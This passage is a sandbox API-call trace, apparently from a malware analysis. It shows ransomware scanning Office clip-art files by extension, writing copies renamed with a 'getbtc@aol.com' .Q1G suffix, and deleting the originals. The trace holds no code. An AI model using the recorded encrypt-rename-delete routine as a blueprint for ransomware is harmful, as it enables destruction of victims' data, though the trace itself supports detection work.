lstrlenW (lpString=".pdf") returned 4 [0255.455] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.455] lstrlenW (lpString=".xls") returned 4 [0255.456] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.456] lstrlenW (lpString=".xlsx") returned 5 [0255.456] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0255.456] lstrlenW (lpString=".ppt") returned 4 [0255.456] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0255.456] lstrlenW (lpString=".zip") returned 4 [0255.456] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.456] lstrlenW (lpString=".rar") returned 4 [0255.456] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.456] lstrlenW (lpString=".bz2") returned 4 [0255.456] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.456] lstrlenW (lpString=".7z") returned 3 [0255.456] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0255.456] lstrlenW (lpString=".dbf") returned 4 [0255.456] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0255.456] lstrlenW (lpString=".1cd") returned 4 [0255.456] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0255.456] lstrlenW (lpString=".jpg") returned 4 [0255.456] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0255.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0255.456] lstrlenW (lpString=".doc") returned 4 [0255.456] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.456] lstrlenW (lpString=".docx") returned 5 [0255.456] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0255.456] lstrlenW (lpString=".pdf") returned 4 [0255.456] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.456] lstrlenW (lpString=".xls") returned 4 [0255.456] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.456] lstrlenW (lpString=".xlsx") returned 5 [0255.456] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0255.456] lstrlenW (lpString=".ppt") returned 4 [0255.457] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0255.457] lstrlenW (lpString=".zip") returned 4 [0255.457] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.457] lstrlenW (lpString=".rar") returned 4 [0255.457] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.457] lstrlenW (lpString=".bz2") returned 4 [0255.457] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.457] lstrlenW (lpString=".7z") returned 3 [0255.457] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0255.457] lstrlenW (lpString=".dbf") returned 4 [0255.457] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0255.457] lstrlenW (lpString=".1cd") returned 4 [0255.457] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0255.457] lstrlenW (lpString=".jpg") returned 4 [0255.457] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.457] lstrcmpiW (lpString1=".BMP", lpString2=".Q1G") returned -1 [0255.457] lstrlenW (lpString="J0101856.BMP") returned 12 [0255.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0255.486] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=78840) returned 1 [0255.486] CloseHandle (hObject=0x3d8) returned 1 [0255.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp")) returned 0x20 [0255.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0255.487] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.487] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.487] GetLastError () returned 0x0 [0255.487] ReadFile (in: hFile=0x3d8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x133f8, lpOverlapped=0x0) returned 1 [0255.490] WriteFile (in: hFile=0x324, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x13400, lpOverlapped=0x0) returned 1 [0255.492] ReadFile (in: hFile=0x3d8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.492] WriteFile (in: hFile=0x324, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.492] SetEndOfFile (hFile=0x324) returned 1 [0255.492] CloseHandle (hObject=0x324) returned 1 [0255.492] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.492] SetEndOfFile (hFile=0x3d8) returned 1 [0255.495] CloseHandle (hObject=0x3d8) returned 1 [0255.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp")) returned 1 [0255.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0255.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0255.496] lstrlenW (lpString=".doc") returned 4 [0255.496] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.496] lstrlenW (lpString=".docx") returned 5 [0255.496] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0255.496] lstrlenW (lpString=".pdf") returned 4 [0255.496] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.496] lstrlenW (lpString=".xls") returned 4 [0255.496] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.496] lstrlenW (lpString=".xlsx") returned 5 [0255.496] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0255.496] lstrlenW (lpString=".ppt") returned 4 [0255.496] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0255.496] lstrlenW (lpString=".zip") returned 4 [0255.496] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.496] lstrlenW (lpString=".rar") returned 4 [0255.496] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.496] lstrlenW (lpString=".bz2") returned 4 [0255.497] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.497] lstrlenW (lpString=".7z") returned 3 [0255.497] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0255.497] lstrlenW (lpString=".dbf") returned 4 [0255.497] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0255.497] lstrlenW (lpString=".1cd") returned 4 [0255.497] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0255.497] lstrlenW (lpString=".jpg") returned 4 [0255.497] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0255.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0255.497] lstrlenW (lpString=".doc") returned 4 [0255.497] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.497] lstrlenW (lpString=".docx") returned 5 [0255.497] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0255.497] lstrlenW (lpString=".pdf") returned 4 [0255.497] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.497] lstrlenW (lpString=".xls") returned 4 [0255.497] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.497] lstrlenW (lpString=".xlsx") returned 5 [0255.497] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0255.497] lstrlenW (lpString=".ppt") returned 4 [0255.497] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0255.497] lstrlenW (lpString=".zip") returned 4 [0255.497] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.497] lstrlenW (lpString=".rar") returned 4 [0255.497] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.497] lstrlenW (lpString=".bz2") returned 4 [0255.497] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.497] lstrlenW (lpString=".7z") returned 3 [0255.497] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0255.497] lstrlenW (lpString=".dbf") returned 4 [0255.497] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0255.498] lstrlenW (lpString=".1cd") returned 4 [0255.498] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0255.498] lstrlenW (lpString=".jpg") returned 4 [0255.498] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.498] lstrcmpiW (lpString1=".BMP", lpString2=".Q1G") returned -1 [0255.498] lstrlenW (lpString="J0101860.BMP") returned 12 [0255.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0255.498] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=32184) returned 1 [0255.498] CloseHandle (hObject=0x3d8) returned 1 [0255.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp")) returned 0x20 [0255.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0255.499] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.499] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.499] GetLastError () returned 0x0 [0255.499] ReadFile (in: hFile=0x3d8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0255.503] WriteFile (in: hFile=0x324, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0255.504] ReadFile (in: hFile=0x3d8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.504] WriteFile (in: hFile=0x324, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.504] SetEndOfFile (hFile=0x324) returned 1 [0255.504] CloseHandle (hObject=0x324) returned 1 [0255.504] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.505] SetEndOfFile (hFile=0x3d8) returned 1 [0255.507] CloseHandle (hObject=0x3d8) returned 1 [0255.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp")) returned 1 [0255.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0255.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0255.508] lstrlenW (lpString=".doc") returned 4 [0255.508] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.508] lstrlenW (lpString=".docx") returned 5 [0255.508] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0255.508] lstrlenW (lpString=".pdf") returned 4 [0255.508] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.508] lstrlenW (lpString=".xls") returned 4 [0255.508] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.508] lstrlenW (lpString=".xlsx") returned 5 [0255.508] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0255.508] lstrlenW (lpString=".ppt") returned 4 [0255.508] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0255.508] lstrlenW (lpString=".zip") returned 4 [0255.508] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.508] lstrlenW (lpString=".rar") returned 4 [0255.508] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.508] lstrlenW (lpString=".bz2") returned 4 [0255.508] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.508] lstrlenW (lpString=".7z") returned 3 [0255.508] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0255.508] lstrlenW (lpString=".dbf") returned 4 [0255.508] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0255.508] lstrlenW (lpString=".1cd") returned 4 [0255.508] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0255.508] lstrlenW (lpString=".jpg") returned 4 [0255.508] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0255.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0255.508] lstrlenW (lpString=".doc") returned 4 [0255.508] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.509] lstrlenW (lpString=".docx") returned 5 [0255.509] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0255.509] lstrlenW (lpString=".pdf") returned 4 [0255.509] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.509] lstrlenW (lpString=".xls") returned 4 [0255.509] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.509] lstrlenW (lpString=".xlsx") returned 5 [0255.509] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0255.509] lstrlenW (lpString=".ppt") returned 4 [0255.509] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0255.509] lstrlenW (lpString=".zip") returned 4 [0255.509] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.509] lstrlenW (lpString=".rar") returned 4 [0255.509] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.509] lstrlenW (lpString=".bz2") returned 4 [0255.509] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.509] lstrlenW (lpString=".7z") returned 3 [0255.509] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0255.509] lstrlenW (lpString=".dbf") returned 4 [0255.509] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0255.509] lstrlenW (lpString=".1cd") returned 4 [0255.509] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0255.509] lstrlenW (lpString=".jpg") returned 4 [0255.509] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.509] lstrcmpiW (lpString1=".BMP", lpString2=".Q1G") returned -1 [0255.509] lstrlenW (lpString="J0101861.BMP") returned 12 [0255.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0255.593] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=32184) returned 1 [0255.593] CloseHandle (hObject=0x394) returned 1 [0255.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp")) returned 0x20 [0255.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0255.596] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.596] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0255.596] GetLastError () returned 0x0 [0255.596] ReadFile (in: hFile=0x3d4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0255.605] WriteFile (in: hFile=0x394, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0255.607] ReadFile (in: hFile=0x3d4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.607] WriteFile (in: hFile=0x394, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.607] SetEndOfFile (hFile=0x394) returned 1 [0255.607] CloseHandle (hObject=0x394) returned 1 [0255.607] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.607] SetEndOfFile (hFile=0x3d4) returned 1 [0255.609] CloseHandle (hObject=0x3d4) returned 1 [0255.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp")) returned 1 [0255.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0255.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0255.611] lstrlenW (lpString=".doc") returned 4 [0255.611] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.611] lstrlenW (lpString=".docx") returned 5 [0255.611] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0255.611] lstrlenW (lpString=".pdf") returned 4 [0255.611] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.611] lstrlenW (lpString=".xls") returned 4 [0255.611] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.611] lstrlenW (lpString=".xlsx") returned 5 [0255.611] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0255.611] lstrlenW (lpString=".ppt") returned 4 [0255.611] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0255.611] lstrlenW (lpString=".zip") returned 4 [0255.611] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.611] lstrlenW (lpString=".rar") returned 4 [0255.612] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.612] lstrlenW (lpString=".bz2") returned 4 [0255.612] lstrcmpiW (lpString1=".bz2", 